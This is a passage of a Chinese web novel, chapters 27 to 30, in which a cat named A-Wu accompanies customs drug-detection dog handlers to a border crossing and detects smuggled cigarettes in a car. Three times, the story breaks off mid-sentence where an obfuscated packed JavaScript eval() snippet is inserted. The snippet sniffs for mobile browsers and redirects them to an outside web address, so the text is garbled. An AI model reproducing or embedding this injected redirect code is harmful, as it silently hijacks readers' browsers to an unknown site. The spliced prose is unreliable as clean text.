阿五抬头瞧了眼潘祥,明显感受到了他的情绪,便打算到后排去,她现在更想和大王待在一块。 大王听见动静,睁开眼睛,见阿五抬着爪子想往它这跳,立刻抬起了脑袋:“嘤?” 只有疑问,没有反感。 阿五这才纵身一跃,跳到了大王前爪处,随后扒着后排靠垫,直接上了后车窗和座位的一小块空地上趴了下来。 大王坐起身,探过头用嘴筒子拱了拱阿五:“嗷呜?” 和我一块躺啊? 阿五打了个哈欠,轻轻用爪垫推开大王的脸:“喵嗷~” 你快睡吧。你那么大一只,我就不来挤你了。 大王邀请失败,失望地趴回了后座。 潘祥和耿思远都将这一幕瞧了个一清二楚。 耿思远满意道:“大王脾气真不错,和阿五也相处的来。我考虑让你做阿五的训导员,一来就是因为这一点,到时候一大一小一块带去出任务也方便。” 他继续道:“再加上目前基地里头,就你和程建树暂时只带着一只犬。别人基本上都带着两到三只,不然我也不会带着你们出来这么久,这么远。” 大王听见前排的二人提起自己,竖起了毛耳朵。 阿五也竖着耳朵默默听,训导员以后是要和她长时间待在一块的人。她虽然对潘祥没什么意见,但潘祥明显不太想多她一只猫。 潘祥想着基地的情况,点头答应了:“那我尽力。” 阿五甩动了下尾巴。 耿思远点点头,欣慰道:“辛苦你了,我也晓得你的顾虑。总之先试试看,不行的话,到时候再调整,不要有心理负担。” 潘祥一听,想想也是,也许到了基地,主任就改主意了呢? 于是他赶忙道:“我知道的,这段时间我先带着阿五,尽力磨合。” 耿思远叹了口气:“主要是训导员不够,今年招进来五个,还跑了三个,哎。” “没得办法。”潘祥对此也无可奈何,训犬不是件容易事,又苦又累。苦累也就算了,最惨的是和犬一块待了三个月,培养出了感情,最后犬没通过考核被淘汰了,一切又要从头开始。 他不愿再想,只好转移话题:“主任,那我们什么时候回基地?犬粮还剩五六天的量,而且我瞧大王的情绪,明显不如刚出来那几天兴奋了。” “现在就是往回走嘛。”耿思远道,“景洛的任务结束,我们就直接回些乐。” 景洛?阿五动动耳朵。 希望这任务她能够帮上忙,好让吊坠的倒计时再增加一些。 对于训导员这件事,阿五自觉她应该不要也能行,但前提是她学完了本事。 耿思远和潘祥不再说话,在颠簸的车辆中,阿五将爪子按在吊坠袋子上,渐渐进入了梦乡。 森林派出所内,边星遥也已将林天月三人送走。 夜色下,派出所恢复了往常的宁静,四周虫鸣阵阵。 边星遥和舒瀚海沉默着走回宿舍。 舒瀚海忽然笑了:“星遥,你瞧着好像那种送孩子离家上学的家长。” “孩子上学还能回家,阿五去了基地……”边星遥摇摇头,“难得回来了。” “那是孩子出息,你这个家长也不要愁眉苦脸的,要为阿五感到开心,这可是盘古开天辟地头一只啊。” 边星遥当然懂,但伤感总是难免,但他思绪一转:“哎,教导员,你说万里能不能也训练一下缉毒技能呢?” “啊?”舒瀚海挠了挠头,“有,有点难吧?” “让马自平试试吧,万里的条件我认为也不比今天那两只缉毒犬差。而且这对我们派出所后续的工作,也是一个额外的助力。” “嗯,也行。那明天和马自平谈谈,刚好万里的腿也好得差不多了。” 回到宿舍,边星遥拉开台灯,从兜里小心地拿出了包着猫须草的手帕,又从桌上抽出了一本蓝色封皮的笔记本。 他小心地翻开笔记本,以避免其他的干花和干叶子掉落。随后边星遥将收集到的猫须草花夹在了空白页中,并拿起笔写下了一句话。 阿五所拾断魂峰猫须草花两朵。 他喜欢收集一些特别的花草树叶,夹在本子里留作纪念。 将笔记本合拢,边星遥捏了捏鼻根,低头久久注视着床角处阿五的窝和水碗,仿佛还能看见阿五躺在窝里甩着尾巴尖的样子。他笑了笑,抬头望向了窗外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323530|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明月。 阿五,要平安健康。 明月之下,一辆驶向春东的小汽车内。向晓正在开车,林天月已在副驾驶睡着了,后座的边星澄虚虚地握着一块手帕。 这是她离开时,边星遥给她的:“星澄,这是阿五从十盘山上叼下来的猫须草花,你带回去留作纪念吧,是哥哥对不住你。” 边星澄心内叹息,终究是没能将阿五带离警猫这一条路。难道冥冥之中,有些事是注定要发生的吗? 哥哥目前没有和前世一样,辞去所长职务,去当阿五的训导员。莫非后续还会因为什么事,再走上这条路? 边星澄思及此,头痛地靠在了后座头枕上。 躲,终究是下下策。 半夜时分,耿思远一行人到了目的地景洛镇。 汽车行驶在宁静的景洛镇中,道旁是颇具当地民族风味的各色房屋。 车辆停在了一幢二层小楼的院子内。 阿五随着大王下了车。 大王和贝莉一同伸着懒腰,舒展筋骨。 卷着湿润气息的热风拂面而来,风中还带着浓浓的果香。她耳朵一动,听见远处传来了江流的奔涌声。 耿思远独自进了小楼。 大王吐了舌,呼哧呼哧地喘着气,挨着潘祥的腿,用头顶他的手。 潘祥低头,随了大王心愿,摸了摸他的脑袋:“大王乖。” 大王“嘤嘤呜呜”地表示满意,并要求潘祥多摸摸。 潘祥撸着大王的背毛,过了会将迟疑的目光落在了一旁的阿五身上,不确定她是否也需要摸摸,他对猫实在是没什么了解啊! 贝莉在程建树身旁站了会,就趴在了地上。她有些累了,只想睡觉。 程建树蹲下身,心疼地瞧着贝莉,随后凑到潘祥身边低声道:“潘祥,你有问主任什么时候回去吗?” 潘祥瞧着小楼门口,也低声回:“问了,说是等这的任务结束就回些乐。” 程建树心头一轻:“那就好,犬粮都要不够了,贝莉吃不惯外头买的饭。” 他说完,就坐到了贝莉旁边,将它揽在了怀里:“地上凉,在我身上睡啊,乖。” 大王瞧见这一幕,马上就把它的大脑袋往潘祥怀里拱:“嘤嘤呜呜。” 潘祥只好也席地而坐,将大王抱在怀里。 阿五蹲坐在一旁瞧着,晚风吹过她的毛毛,树木发出了簌簌的声响。 过了一会,耿思远出来了。 “上楼睡觉,明天早上9点院子里集合。” “是!” 这里是景洛口岸的办公楼,二层是宿舍区。特意为耿思远他们留了一间空房,能容下四个人睡。 大王和贝莉不好去宿舍,潘祥和程建树只好将他们留在车里睡觉。 阿五自然也和大王一块。 她闭着眼,静静地趴在交叠的前爪上。 清晨时分,潘祥和程建树早早地就下了楼,瞧自家的犬情况怎么样,顺便就在车里眯一会。 渐渐的办公楼里也不断有人进出,空气中弥漫着早饭的香味。 28.第 28 章 在阿五的肚子响了第一声后,耿思远下了楼。 “五点就起床,才睡了三四个小时,你们今晚上还有精力熬夜?” 耿思远无奈叹气,转头瞧了眼车旁种着的一棵极茂盛的棕榈树,阿五正蹲坐在树下注视着他。 程建树下了车还没开口,潘祥一溜小跑来到了他身旁,笑着道:“来陌生的地方总是不大放心嘛。主任你不也是,说是九点集合……” 他看了眼手表,又指指天空,补充:“现在也才六点半不到,太阳都还没出来。” 大王紧跟着潘祥,耿思远弯腰撸了把它的脑袋。大王咧咧嘴,尾巴轻扫。 “你们都起来了,我哪里睡得着啊。”耿思远搓了把脸,又将程建树从车门处拉开,瞧了眼贝莉的状态,“我们先去镇子外头,找个地方带大王、贝莉还有阿五,转一圈。” 潘祥愉快地捏捏大王耳朵:“好嘞!” 他本来以为今天的散放只能在这小院子里进行了。 程建树也不再沉默寡言了,侧头对潘祥道:“我跟在你车后头。” 潘祥点头:“行。” 耿思远对着阿五招招手:“阿五,上车。” 阿五回应:“喵呜~” 等大王上了车,阿五才跳上后座,蹲坐在它身旁。 潘祥本来还有点不太想带阿五,但见它如此通人性,简直不逊大王,此时也不由得有些意动了。 多带一只猫,好像也不是很麻烦嘛。 阿五在后座抬爪摸摸吊坠,新的一天开始了。但倒计时还没变,依旧是31天。 耿思远将潘祥赶到副驾驶,自个开车驶出小院,进入了苏醒后的景洛小镇。阿五动动鼻子,闻到了或香甜、或咸辣的早饭香。 她忍不住立起身,隔着窗玻璃往外瞧。大王也伸了个大脑袋过来,和阿五一块看。 只是阿五还没瞧清楚他们卖的是什么好吃的,早餐摊子就一晃而过了,她失望地甩甩尾巴。 路上不断有挑着箩筐的各色男女避让车辆。 不过十分钟,他们就已经出了景洛镇。 沿着颠簸的道路又开了几分钟,耿思远将车停在了一段人烟稀少的景洛江边。 太阳露了脸,但晨间温度不高,风吹到阿五身上,还带着微微的凉意。 江边草丛多,蚊虫也多。 阿五寻思着可以捉几只蚂蚱垫垫肚子。 潘祥拿着东西下了车,望着前方流淌的江水,展臂在风中享受地深吸一口气:“啊——风景真不错。” 程建树牵着贝莉,四处瞧了瞧,确认没什么危险,蹲下身将贝莉的绳子解了,又冲耿思远道:“主任,我们先走了。” 耿思远道:“好。” “贝莉,游散!” “汪呜~” 贝莉撒开四爪往前跑,两只大耳朵飞扬在空中,程建树紧紧跟在它身后。 人和犬的态度都很自然,想来基地的犬每天上午都要这么溜一圈吧,阿五默默地想。 大王见状有些急了,四爪在地上焦急地踩来踩去,嘴巴里也哼哼唧唧的。 “大王,坐。”潘祥肃着脸低头,给大王比了个手势。 大王听话地坐了。 “好狗~”潘祥拍拍大王的脖子,解开绳索。 “游散。” 大王马上就起身往前跑了,只是没几步就停住回了头,疑惑潘祥怎么还不跟上。 潘祥正试探性地对阿五道:“阿五,游散。” 阿五也迅速起身,跟上了大王的步伐。 抓蚂蚱去咯。 潘祥却惊喜地一蹦:“主任,阿五能听懂哎。” 耿思远只是瞧着阿五若有所思道:“走吧。” 散放是缉毒犬每天早上必做的事,训导员不仅可以在此期间观察犬的状态,也能为接下来的任务或训练热热身,还能在玩耍中增加人犬的亲密度。 当潘祥带着一只非常会争宠的大王和一只非常冷静的阿五一同走在路上时,即使他会关注阿五,可大部分的注意力还是落在了大王身上。 耿思远只是观察,完全没有干涉。 不远处传来了程建树和贝莉的玩耍声,而潘祥正和大王一起玩争夺毛巾卷的拔河游戏。 潘祥本来也想带着阿五玩,可阿五对这种游戏毫无兴趣,敷衍地抬了下爪子就跑了。 现在阿五正专注地盯着江边草丛。 猛然间阿五起身扑向草丛,潘祥疑惑地转了头。 阿五再抬脸时,一只手指长的虫子被她叼在了口中。 她张口一嚼,眼睁睁看着潘祥脸色扭曲大变,怒吼:“阿五!” 大吼声惊飞了一地虫子,连大王都一惊,阿五却嚼得更快了。 潘祥放开毛巾卷,扑到阿五面前去掰它的嘴。大王兴奋地摇着尾巴,转身也扑向了阿五,想要加入这场游戏。 阿五甩着脑袋挣脱开潘祥的手,将肉往肚子里咽,顺便朝江边逃跑。 大惊失色的潘祥半蹲着往前追了几步,试图抓住阿五。 大王一头拱上了潘祥的屁股。 扑通—— 耿思远和程建树站在江边,一人无奈,一人似笑非笑。 贝莉翘着毛尾巴,咧嘴站在程建树身旁“汪呜”了几声。 潘祥浑身湿淋淋地站在江中,瞅瞅滴水的衣服,又瞧瞧江边心虚拿眼角瞟自己的大王,和装傻望天已吃下了不知名虫子的阿五,嘴巴动了动。 还好潘祥车上带了两套换洗衣服,阿五和大王跟着他,瞧他先拿湿衣服擦了车,又去江边洗衣服,回来将衣服晒在车头。 阿五想了想,跳上了车前盖:“喵嗷?” 为什么不能吃虫子?她又没让大王吃,只是自己吃而已啊。 难不成你们对我吃什么也有规定? 情绪稳定下来的潘祥闻声望着阿五,期待道:“你在和我道歉吗?” 阿五:“……” 潘祥挠挠头,觉得他在自作多情。算了,还是从拒食训练开始教起吧。他去车里找了点食物,放在了阿五面前。 阿五瞥了眼,这不是大王的零食吗? 潘祥见它无动于衷,有些苦恼:“你不喜欢吃这个?” 此时程建树走过来,将刚才阿五吃的那种虫子交给了潘祥:“蚂蚱,阿五以前估计也经常吃,没什么问题。” “好兄弟,多谢!”潘祥赶忙将零食换成了虫子。 他们想让自己去吃那只虫? 阿五朝虫子探过了头,余光却在关注潘祥。 潘祥果然伸出手捂住了蚂蚱:“阿五,不行。” 阿五坐了回去。 潘祥又收回了手,三双眼睛落在了阿五身上。 原来是这样,阿五甩甩尾巴明白了。 他们不过就是要求她听指令行事罢了,就如那些“坐”“卧”“立”一般。吃的也是,他们给的才能吃,虽然不知道为什么。 阿五思及脖子上的吊坠倒计时,决定暂时在训导员面前当一只好猫。 等他们睡着了,再去捉蚂蚱吃。 潘祥又试了几次,见阿五学习拒食这样快,喜上眉梢:“太聪明了,有天赋!” 程建树对此不置一词,他觉得阿五不是这么教的。不过他也不是阿五的训导员,还是不说话了。 耿思远则在思考另一个问题,阿五究竟是以什么动力进行搜毒这项行动的呢? 对于基地的犬来说,寻找毒品就是一种游戏过程。寻到了毒品,就相当于获得了奖励,将毒品拿走,奖励没了,犬就会继续去寻找。 可是阿五对于沾着毒品气味的毛巾卷根本没有占有欲,似乎知道那不是真东西。 散放就在潘祥洗了个澡又洗了衣服和车,阿五吃了几只蚂蚱,贝莉和大王又与他们亲近的人类伙伴玩了个心满意足中结束了。 回去后,耿思远带着强行要跟着他出门的阿五出了门。 在院子里多无聊呀,她对小镇很感兴趣! 小镇彻底苏醒,街面上的店铺都开了张。店主们打着哈欠,端着或买或自己做的早饭,站在铺面门口边吃,边打量路上的行人。 街边的摊子也以吃的为主,耿思远在一家卖糯米饭的小推车前停下了脚步。 阿五站在耿思远脚边,好奇地四处观望。 这里好热闹! 街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337186|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上出现了一只乖乖跟着人走的小猫,猫在看人,人自然也在看猫。 不少人都热情地想来摸一摸阿五,被阿五躲开了。 耿思远拿着三份糯米饭,又寻了家能卖水煮蛋的早餐店,匆匆带着阿五回了院子。 等会景洛海关调查科的同事们会过来,得赶紧吃完收拾好。 作为专业养犬人,耿思远虽然听边星遥的嘱托,让阿五随着他们一日三餐,但是加了调味料的饭食,他是绝对不会喂给阿五吃的。 因此加了舂辣子、洋芋丝等等配料的糯米饭,阿五只能咽着口水瞧耿思远吃,而她望饭吃蛋。 甚至鸡蛋都没有当着贝莉和大王的面给,耿思远将阿五带到了院子外的角落里蹲着,在两只犬看不到的地方偷偷地喂。 原来缉毒犬是不吃早饭的啊,阿五吃着掰成小块的蛋,心中有点忧愁,她以后难道也要没有早饭吃了吗?也不知道那基地周围,好不好捉小鸟虫子。 院子里突然多了两张陌生面孔,所有来上班的人都要瞧他们几眼。 哐当—— “啊!啊啊啊!哪来的狗啊!” 一位骑着自行车来上班的姑娘进入院门,正想将车放到棕榈树下,冷不丁瞧见大开的吉普车车后座蹲坐着只健硕的黑色大狗,吓的车也不要了,扔下就跑。 程建树赶忙将自行车扶起来,检查有没有摔坏。 潘祥则拍拍胸口,强行咽下嘴里的饭,差点噎死,安抚地摸了摸大王,将车门关上了。 “对不起对不起,吓着你了。” “玉荷,没事吧?” 周边的同事们见状都赶来安慰。 玉荷心情糟糕透顶,她最害怕狗了。 她扫过潘祥和程建树二人,见他们没穿制服,料想也不是海关的人,张口责问道:“你们什么人?不知道我们办公楼不能进狗吗?请你们马上出去!” 潘祥熟练地道歉,解释:“对不起同志,吓到你真得特别不好意思。但我们的缉毒犬是不会咬人的,请你放心。” 他不待玉荷张口,继续:“我们是海关总署些乐缉毒犬基地的训导员,来景洛出差。” 玉荷一愣,周围的同事也都窃窃私语地交谈着。 “原来都是海关的同事啊。” “养狗的罢了。” “不过我怎么好像没听说有缉毒犬基地这种单位啊。” 潘祥和程建树都麻木了,自从半年前缉毒犬出了训练基地进入实战后,他们每次出任务,基本都能遇到这样的情况。 他们已经吸取了教训,将犬放到了车里,没想到还是吓到了人。 “说是缉毒犬,其实就是狗而已,也没什么用吧,所以大家都不晓得。” “也没有吧,我之前看到过新闻,说是缉毒犬帮着找出了不少毒品呢。不过我也就是扫了一眼,没仔细看。” 程建树板着脸:“缉毒犬虽然是今年才大规模投入实战的,但是他们很有用!不说别的,就今天在这里的大王和贝莉,他们每只犬都起码抓到过五个毒贩,查到过十公斤以上的毒品!” “也许你们觉得很少,但是谁不是这么积少成多过来的?” 在场众人面面相觑,但心里多少都有些不相信。 潘祥瞧了眼程建树,有些难过,但心中更憋着一股意气。社会上对于缉毒犬认知甚少,连海关系统内的同事,对于他们的了解也不深。 他们的犬普遍体型都很大,不怕狗的人都要绕着走,更别说玉荷这样怕狗的人了,所以他们常常会被骂。 而缉毒犬也因此迟迟没有加入口岸入境人员的检查中,只是随着海关调查科的同事、公安或边防站的战士们一块设卡缉查。 话都说到这份上了,玉荷从程建树手里接过自行车,瞧车也没摔坏,只好撇撇嘴道:“算了算了。” 虽说她着实被吓得不轻,但人家都道歉了,还想怎么样呢。再加上入关时间马上要到了,她得尽快赶到口岸去。 在听到尖叫声的那一刻,阿五和耿思远就奔进了院子。 阿五听完了全程,察觉身上落下了几道打量的视线。她回头一瞧,身后站了三位穿黑白制服的男子。 29.第 29 章 打头的男子既高且瘦,面上带着疲倦之色,眼下两抹青黑,年过中旬,不过头发倒挺茂盛。 阿五在心中将他与身边耿主任的头发做了个对比。 “喵呜~”阿五伸爪扒拉了下耿思远的裤腿。 耿思远低头顺着阿五的视线往后瞧。 两人视线相对,男人上前几步敬礼,微笑道:“你好,请问是些乐缉毒犬基地的耿思远主任吗?我是景洛口岸调查科的岩飞。” 耿思远手里还捏着没吃完的饭,略有些尴尬地回礼道:“你好岩科长,我是耿思远。抱歉啊,还没吃完早饭。” “久仰大名,是我们招待不周。”岩飞的目光划过两位训导员,诚恳道,“中午我做东,请耿主任和两位训导员吃当地的特色菜。” 此刻围着潘祥和程建树的人群已作鸟兽散,他们走到了耿思远身后。 耿思远摇头道:“不用了,我们随便吃点就行,带着犬不好走开。” 说完他就回头为岩飞介绍:“这是程建树,他带的是金毛巡回猎犬,贝莉。” “潘祥,带的是德国牧羊犬,大王。” “这只猫是阿五,有搜毒天赋,我们打算带它带回基地受训,后续也会加入我们的缉毒犬队伍。” 岩飞身后的两位年轻男子也赶忙说了自己的名字。 左边一位稍高些的是冯明,裸露的手臂上都是一个个疙瘩。另一位则是李志行,手肘处有大片新鲜的擦伤。 阿五站起身甩甩尾巴,好奇地打量着三人。 岩飞三人也都瞧着阿五。 他们怎么也瞧不出阿五有搜毒天赋,这看上去和普通猫并无区别。 岩飞往周围一扫:“两只缉毒犬呢?” “在车里。”耿思远将岩飞三人带到了棕榈树下。 潘祥和程建树打开车门,两只犬跳下了地。 岩飞三人目露惊艳。 比起那只平平无奇的猫,这两只缉毒犬十分不同,体型大有威慑力,眼神有很霸气,浑身都充满了力量感。 特别是那只叫大王的德牧,瞧着就不好惹。 据他们了解到的情况,贝莉和大王自年初投入实战以来,已经协助海关和公安破获了十余起贩毒案,缉查毒品二十余公斤,实在是不容小觑。 岩飞想到这,对耿思远道:“耿主任,我带你们去口岸参观一下吧?” 耿思远的目光在冯明和李志行的手臂上绕过一圈,推拒道:“你们还有事要忙吧?其实不用管我们,行动前再碰面就好。” “那怎么行。”岩飞立刻拒绝。 潘祥忍不住道:“冯明同志这个要不涂点药?我那都有,还有碘伏,可以给李志行同志消消毒。” 冯明抬起手臂瞧了眼,笑着道:“这个啊,谢谢你,不打紧的,过敏而已,过两天就好了。” 李志行摆摆手:“不用管我们的,你们第一次来,一定要好好招待。” 耿思远只好答应了。 潘祥和程建树去准备要带的物品,耿思远则把剩的早饭吃了,这可不好浪费。 阿五则默默想着口岸到底是个什么东西。 难道是江边停船的地方?他们这些穿黑白制服的人,就是管船的? 耿思远丢掉手里的芭蕉叶,带着收拾好东西的潘祥和程建树,在岩飞的带领下,离开了口岸办公室,前往景洛口岸。 岩飞回头:“阿五不需要绳子吗?” 潘祥道:“岩科长,我们暂时还没来得及去买适合阿五的绳子。但您放心,阿五不会乱跑的。她虽然还没有成为正式的缉毒猫,但已经能听懂指令了。” 冯明不太相信,本来想说他可以抱着阿五,但想想工作时间抱着猫算怎么个回事,太有损海关工作人员的形象了,便也作罢。 岩飞挑眉:“这么聪明。” 潘祥谦虚:“这是最基本的。” 阿五闻言抬头瞧了眼潘祥,顿时昂首挺胸地跟在了耿思远脚边。 她怕被东瞧瞧西看看就是不看路的大王踩脚。 贝莉倒是很沉稳,但阿五瞧着它仿若微笑的脸,离它更远了。它和程建树一个样,瞧着好说话,其实生人勿近,还是算了吧。 一路上有零星的人和车迎面而来,但和阿五他们一道同路的却不少,不断有人骑着三轮装着货物路过,纷纷转头盯着他们。 岩飞对耿思远介绍道:“勐西是旅游大省,近些年来出境游也很火热。我们景洛口岸毗邻掸国,加上离勐西首府近,所以许多游客都选择从景洛出境去掸国,去年从我们口岸出境的游客达到了20万人次。” 阿五吃了一惊,居然有这么多人来玩?这么看来这里的人生活都挺富足的,起码吃喝不愁。 哎,不对,重点是这对面居然是另一个国家? 阿五好奇极了,恨不得立刻插上翅膀去瞧瞧。另一个国家的人也长得和这里的人一样吗?会不会有獠牙? 只听岩飞又道:“虽然我们不挨着掸北,但对面那块地离掸北也不远。而且人流量大,情况复杂,毒品走私问题也严重的很。” 他苦笑着:“耿主任来的路上应该也瞧见景洛江了,江水不深,两国一江之隔,来往实在太方便了。” 咦?江对岸居然就是掸国?阿五震惊地瞪圆了眼。江对岸的房子和人,她早上隔着江见过,与景洛小镇上的人别无二致。 耿思远严肃着一张脸:“确实。所以我们才特意带着贝莉和大王过来,希望能帮上一点忙。” “真的特别感谢。”岩飞笑着,“我也听说了,你们这一趟去了澜宁,翠云,收获颇丰。” 耿思远自豪道:“确实不错,但和总体的案件比是九牛一毛啊。我们基地目前也还在探索培育缉毒犬这条路,希望后续能培养出更多的缉毒犬,投入海关一线工作。” 两人说着,前方已经能瞧见一座门,门的那边停满了一辆辆等待通关的货车,车上满载货物。 岩飞指了指那座门:“那就是货场通道了。” 太阳肆意地挥洒着阳光,虽然气温还未升至最高点,但口岸关员们纵高爬低地检查完货物和车辆后,身上的汗水已经浸湿了衣裳。 另一个国门通道则大多数是人、摩托车和小轿车,工作人员也已陆续开始核验入境证书、查验单等等,不断有人通过。 阿五不死心地再次打量这些路过的人,他们长得确实挺常见的,没有什么獠牙。 阿五还在国门通道瞧见了玉荷,她是查验人员之一。 潘祥和程建树用身体将两只犬和人群隔离开,以免惊吓到人。 忽然队伍前出现了骚动。 玉荷神色严肃地对一年轻男子道:“您好,麻烦您到这边接受一下检查。” 那男人一愣,不肯动,而是咧出一口黄牙,嘻嘻笑着:“什么检查啊美女,不会要脱衣服吧,看上我了?” 玉荷脸色铁青:“麻烦您配合,谢谢。” 阿五上下打量了眼男人,见他脸型很瘦,身材却很臃肿。大热天的居然还穿外套,将自个裹得严严实实。 一瞧就很想给他一爪子! 岩飞皱着眉,气势汹汹地走上前,和另一位男性关员一块,将男人“礼貌”地请出了队伍。 “打人啦!”那男人大声嚎叫着想跑,却被岩飞抓得动弹不得。 队伍里许多人探出头来瞧热闹。 阿五也期待地瞧着耿思远,满眼都是:“跟上去瞧瞧啊!” 耿思远见贝莉、大王都没什么特别反应,便意识到这男人带的应该并非毒品。 又见阿五盯着他,一副跃跃欲试跟上去的表情,耿思远无奈,对身边也关注着自家科长情况的冯明和李志行道:“我们可以过去瞧瞧吗?” 李志行思索片刻:“请跟我来。” 他们来到了查验区。 男人已不复嚣张姿态。 因为他的外套已被岩飞脱掉,卷起的T恤下,一条条烟被一圈黑色胶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352847|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带裹在了肚子上。 听着他们之间的对话,阿五才明白,原来烟也是不可以多带的。 阿五若有所思地抬爪摸了摸吊坠。 潘祥瞧着垂头丧气的男人,咬着牙低声对程建树道:“该,让他乱讲话,就算只罚一倍的罚金也够他喝一壶了。” 虽然玉荷早上对他们也没什么好脸色,可大家都是海关同事,瞧见走私犯开口侮辱同事,潘祥恨不得放大王去咬他。 大王感受到了潘祥的情绪,正龇着牙虎视眈眈地瞧着男人。 男人抬头往这瞧了一眼,被大王吓得一哆嗦。 程建树抬肘撞了下潘祥,低声道:“别乱说话,看好大王。” “哦。”潘祥撇撇嘴,这程葫芦,真够闷的。 冯明和李志行对视一眼,对潘祥等人的态度更友好了。 男人被带走了,岩飞回到了耿思远等人身边:“抱歉,接下来我带你们去国门桥上看一看吧。” 离开这里前,阿五还特意瞧了眼玉荷,她面色平静地核对着手里的证书,仿佛没有被刚才的事情影响。 走上了国门桥,一阵凉风携着江上的水汽扑面而来,阿五望着桥的另一头,突然就觉得很奇妙。 阿耶阿娘你们瞧见了吗?虽然大家服饰打扮相貌相似,但隔了一座桥,就是不同国家的人了。无法自由出入,连东西也不能随意带。 “耿主任,我还有个冒昧的请求。”岩飞眺望着江面,对耿思远道,“等一会去货场,贝莉或者大王可以帮忙瞧一瞧吗?” 程建树闻言面色一肃,潘祥脸上也有难色。 耿思远沉吟道:“岩主任,不是我推拖。但我们的犬起码需要三天时间彻底适应场地情况,之后才能够更好地开展工作。” 岩飞难掩失望,却还是道:“是我们对缉毒犬的工作还不够了解,不好意思了。” 冯明和李志行倒没什么失望的,毕竟缉毒犬的战绩他们都只是耳闻,没有亲眼见过。而且这前头几十年,他们口岸从来也没有过缉毒犬,完全不影响嘛。 “不过如果你们货场里发现了异常,大王和贝莉可以马上过去,能更快地发现毒品的藏身地。”耿思远对岩飞解释,“相比起漫无目的地在整个货场寻找,这样会更有效率。” 阿五听得津津有味,原来大王和贝莉是这么工作的啊。 岩飞也点点头,表示明白了。 他们走下了国门桥,正打算回去。 几辆车从他们身边缓缓驶过,卷起一阵风和烟尘。 阿五动动鼻子,怎么一股烟味呢? 不是燃起的香烟味,而是像刚才那个男人一样,有很多香烟堆叠在一块的味道。 路过那几辆车时,阿五特意停下仔细嗅了嗅,分辨出烟味集中在了中间这辆红车身上。 阿五的异常引起了耿思远等人的注意。 耿思远心中一凛,难道阿五嗅到毒品的味道了? 程建树不动声色的和贝莉换了个位置,轻声对贝莉道:“贝莉,嗅。” 可贝莉带着程建树绕着红车闻了闻,没有任何反应。 红车车窗没有摇下,岩飞等人瞧不见车里是什么样的人。 岩飞先以眼神询问耿思远,耿思远瞧贝莉没有反应,便摇摇头。 猛然间,阿五跳上了红车车头,又立刻跳了下去。 “喵!” 啊!好烫! 潘祥吓得立马蹲下,检查阿五的脚垫:“阿五!怎么贸然行动,不听指令啊。你知道这车前盖有多烫吗!” 阿五垂着两只耳朵:“喵嗷。” 对不起,以前不知道,现在知道了。 红车车主摇下车窗,露出一张被墨镜遮了大半的脸,浓烈的香水味散出。 女子环视了一圈车外的人,瞧见穿着黑白制服的岩飞三人时一愣。 她抚弄了下头发,才笑着问:“怎么了?我好像感觉车被什么东西碰了,难道是我撞到你们了?” 30.第 30 章 李志行走上前,迅速往车内扫了一眼,副驾驶还有个年轻男子,也戴着墨镜,看似在睡觉。 他微笑道:“您好女士,我是景洛海关的关员,现依法执行公务,请您将车辆熄火,和您副驾驶这位男士一块下车接受检查。” 女人收起笑容,探头往前后瞧了瞧,又坐了回去:“为什么跳过前面的人不查,要先查我啊?” 前后的司机见海关关员围着红车,纷纷将车窗摇下,投来了探寻的目光,甚至还有人特意走上前来看个清楚。 潘祥和程建树见状,马上将贝莉、大王和阿五带到了红车副驾驶一侧的桥边,又用身体将车和犬隔离开,以免引起骚乱。 站在潘祥肩头的阿五盯着车头:“喵呜。” 潘祥伸手摸了把阿五的脑袋:“晓得啦,别着急,也不知道你到底闻到了什么。” 他努力回忆了边所将阿五交给他们时说的话,也没有提到阿五能闻到除了毒品之外味道的事情啊。 阿五:“喵~” 你打开就知道啦。 冯明跟着潘祥几人,他闻言奇道:“你们不是缉毒犬,不是,缉毒猫吗?” 程建树笃定道:“绝对不是毒品。” 潘祥也严肃地点头附和。 冯明挠挠胳膊,乐观道:“没事,等会把车头打开瞧瞧就知道了。现在好些人会往车里藏东西,你不打开根本就不知道他们会带什么稀奇古怪的。” 鉴于红车司机是个女子,岩飞特意将玉荷叫来对接。 经过玉荷的一番劝告,女子终于不情不愿地唤醒了身旁的男子,将证件递给玉荷。 男子下了车,伸了个懒腰,瞧见潘祥和程建树身后的犬一怔,勾起墨镜弯腰打量,抱臂道:“哟兄弟,狗不错啊,卖不卖,多少一斤?” 女子闻声转头,将墨镜推到了头上,难掩焦躁情绪:“哎呀,刘东你快点过来。” 刘东见潘祥几人都冷冷盯着他不回答,“切”了一声关上车门:“臭养狗的。” 潘祥怒气上涌,但理智尚在,勉强忍了回去。 大王却忍不住对刘东龇牙,威胁道:“呜——” 